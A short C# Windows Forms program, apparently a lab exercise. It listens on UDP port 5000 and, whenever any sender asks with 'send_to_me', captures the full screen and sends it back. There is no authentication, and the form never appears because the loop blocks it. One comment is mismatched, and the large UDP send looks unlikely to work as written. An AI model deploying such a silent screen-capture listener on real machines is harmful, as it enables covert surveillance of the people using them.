using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.Net;
using System.Net.Sockets;
using System.IO;
namespace lab
{
public partial class Form1 : Form
{
private static Bitmap bmpScreenshot;
private static Graphics gfxScreenshot;
Socket s;
EndPoint remep;
byte[] buffer;
public Form1()
{
InitializeComponent();
s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
s.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), 5000));
remep = new IPEndPoint(IPAddress.Any, 6000);
while(true)
{
buffer = new byte[100];
s.ReceiveFrom(buffer, ref remep);
string str = Encoding.ASCII.GetString(buffer, 0, buffer.Length);
if(str.TrimEnd('\0') =="send_to_me")
{
MemoryStream ms = new MemoryStream();
ScreenShot().Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
byte[] result = ms.ToArray();
s.SendBufferSize = 100000000;
s.ReceiveBufferSize = 100000000;
s.SendTo(result, remep);
}
}
}
Bitmap ScreenShot()
{
bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
// Create a graphics object from the bitmap
gfxScreenshot = Graphics.FromImage(bmpScreenshot);
// Take the screenshot from the upper left corner to the right bottom corner
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, new Size(Screen.PrimaryScreen.Bounds.Size.Width/1,Screen.PrimaryScreen.Bounds.Size.Height/1) , CopyPixelOperation.SourceCopy);
// Save the screenshot to the specified path that the user has chosen
return bmpScreenshot;
}
}
}